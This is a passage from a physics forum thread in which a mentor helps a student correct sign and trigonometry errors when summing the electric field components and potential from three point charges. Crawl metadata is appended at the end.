Which, again, my teacher said was wrong. I looked it up and found no other way to do it. Even in my notes, it says to do it this way. Where did I do it wrong?\n\nc. I did not really get where to start. I looked up in some other forums around here (will put a link when i find it) and I kept calculating it to be over the speed of light. After b is fixed, I can probably do this one. So ignore it for now.\n\nLast edited by a moderator: May 7, 2017\n2. Nov 21, 2015\n\n### Staff: Mentor\n\nHello PrincessYams, Welcome to Physics Forums!\n\nThe magnitude looks okay. What is the direction?\nYes, the positive charge will create a field that is directed downwards at point A.\nCheck that you're summing the values taking into account their directions. It's a good idea to sketch in the field vectors from the individual charges on your diagram to guide and confirm your math.\nWhat is the sign of the potential at A?\n\nLast edited by a moderator: May 7, 2017\n3. Nov 21, 2015\n\n### PrincessYams\n\nOh!!!! That is what I did. Sketching the diagram really did help. So now the Ex is gone. It was the 5400 + 5400 + (-5600) I was supposed to do. So I got 52000 upwards\/positive y-direction? Thanks!! I should mark these more clearly in my work and check over small mistakes like that.\n\nI forgot Potential can be negative! Thanks. So would it just be V = - 6750 V?\n\n4. Nov 21, 2015\n\n### Staff: Mentor\n\nThose \"5400\" values look like suspiciously x-component values for the negative charges, but a power of 10 too small (values had a 104 associated with them when you showed your work). Check that you're using the right trig function to determine your components. (Hint: You can use the legs of the triangles directly to calculate the trig ratios).\nThat looks better!\n\n5. Nov 21, 2015\n\n### PrincessYams\n\nOh, yeah oops. That was a typo. To clarify what I got (for my sake):\nE1 = 89900 (to get the x- and y-components I multiplied this by cos(36.9) and sin(36.9) respectively)\nE1x = 72000\nE1y = 54000\nE2x = -72000\nE2y = 54000\nE3x = 0\nE3y = -56000\n\nAll x-values = 0\nAll y-values = 52000\n\nThanks for all the help on this!\n\n6. Nov 21, 2015\n\n### Staff: Mentor\n\nI think you've reversed the trig functions. That angle, 36.9\u00b0, would be an angle at the bottom of a 3-4-5 triangle in your figure. For the y-component of $E_1$ or $E_2$ you're looking for their projection onto the vertical leg of the triangle. That would make the desired trig function a cosine:\n\n7. Nov 21, 2015\n\n### PrincessYams\n\nI don't understand. Did I mix up the trig functions so that it is SUPPOSED to be:\nE1 = 89900\nE1x = 89900 * sin(36.9) = 54000\nE1y = 89900 * cos(36.9) = 72000\nE2x = -89900 * sin(36.9) = -54000\nE2y = 89900 * cos(36.9) = 72000\nE3x = 0\nE3y = -56000\n\nOr am I using the wrong angle entirely?[\/SUB]\n\n8. Nov 21, 2015\n\n### Staff: Mentor\n\nThat looks better!\nYou can use either angle in the triangle, but you need to use the appropriate trig function to pull out the required component.\n\nFor example, in the diagram that I posted you can see that the projection of the $E_1$ vector onto the vertical 4 cm leg of the triangle requires the cosine of the angle \u03b8. If you had chosen to use the other angle (which is about 53\u00b0) then you would need to use the sine to find that vertical component.\n\n9. Nov 21, 2015\n\n### PrincessYams\n\nOh, I see. The example I was looking at must have done something like that and I didn't notice. I see now.\n\nThanks for all the help!\n72000 + 72000 - 56000 = 88000\n\nFinding the final velocity should just be:\nv = \u221a (2Q(change in V)) \/ m)\n?\n\n10. Nov 21, 2015\n\n### Staff: Mentor\n\nSure. Be sure to include units on results! Electric field is usually specified in N\/C or V\/m.\nYup.","date":"2017-10-20 16:00:35","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 1, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 0, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.6767857074737549, \"perplexity\": 1166.1723014770532}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187824226.31\/warc\/CC-MAIN-20171020154441-20171020174441-00063.warc.gz\"}"} | null | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.